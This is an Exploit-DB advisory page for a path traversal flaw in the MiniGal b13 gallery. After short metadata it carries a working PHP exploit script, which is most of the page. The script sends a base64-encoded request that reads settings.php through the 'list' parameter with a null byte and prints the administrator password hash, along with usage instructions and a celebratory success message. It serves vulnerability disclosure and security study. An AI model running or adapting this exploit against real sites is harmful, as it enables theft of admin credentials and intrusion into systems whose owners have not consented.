MiniGal b13 Source Code Disclosure

vendor:

MiniGal b13

by:

Alfons Luja

CVSS

MEDIUM

Source Code Disclosure

22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))

CWE

Product Name: MiniGal b13

Affected Version From: MiniGal b13

Affected Version To: MiniGal b13

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

MiniGal b13 Source Code Disclosure

Alfons Luja discovered a vulnerability in MiniGal b13, which can be exploited by malicious people to disclose potentially sensitive information. The vulnerability is caused due to the application not properly sanitizing user-supplied input to the 'list' parameter in 'index.php'. This can be exploited to disclose the source code of arbitrary files via a directory traversal attack.

Mitigation:

No known mitigation was available at the time of disclosure.

Source

Exploit-DB raw data:

<?php 
set_time_limit(0);
function find_pass($data){
         $pass = explode('$adminpass = "',$data);
         if($pass[1]!=""){
            echo("Vuln exploited enjoy !\n");
            sleep(1);    
            echo("Admin hash == [".substr($pass[1],0,32)."]\n");
         }
         else{ 
             echo("Exploit failed!!!!");
         }
}               
function __send($pack,$host,$port){
        $ret = "";
        $desc = fsockopen($host,$port,$errno, $errstr, 30);
        if(!$desc){ 
           echo("Socket say:($errno).[$errstr]"); 
           return;
           }
           echo("Sending payload !!\n");
           fwrite($desc,$pack);
           while(!feof($desc)){
                $ret.=fgets($desc);   
           }
        fclose($desc);  
        find_pass($ret);
        flush();
}           

echo("\n=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n".
     "+       MiniGal b13 Source Code Disclosure       +\n".
     "+               Alfons Luja                      +\n".
     "+  --------------------------------------------  +\n".
     "+       Usage poc.php path host port             +\n".
     "+    ex: poc.php /press/ wwww.doda.net.pl 80     +\n".
     "+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=\n");
     
if($argc<3){ die("Path - host - Port - comprendo ?"); }

$path = $argv[1];
$host = $argv[2];
$port = $argv[3];

$packet = "GET ".$path.base64_decode("aW5kZXgucGhwP2xpc3Q9Li4vc2V0dGluZ3MucGhwJTAwIEhUVFAvMS4x")."\r\n";
$packet .= "Host:".$host."\r\n";
$packet .= "Keep-Alive: 300\r\n";
$packet .= "Connection: keep-alive\r\n\r\n";
echo("\nConnecting to $host\n");
__send($packet,$host,$port);

?>         

# milw0rm.com [2008-11-15]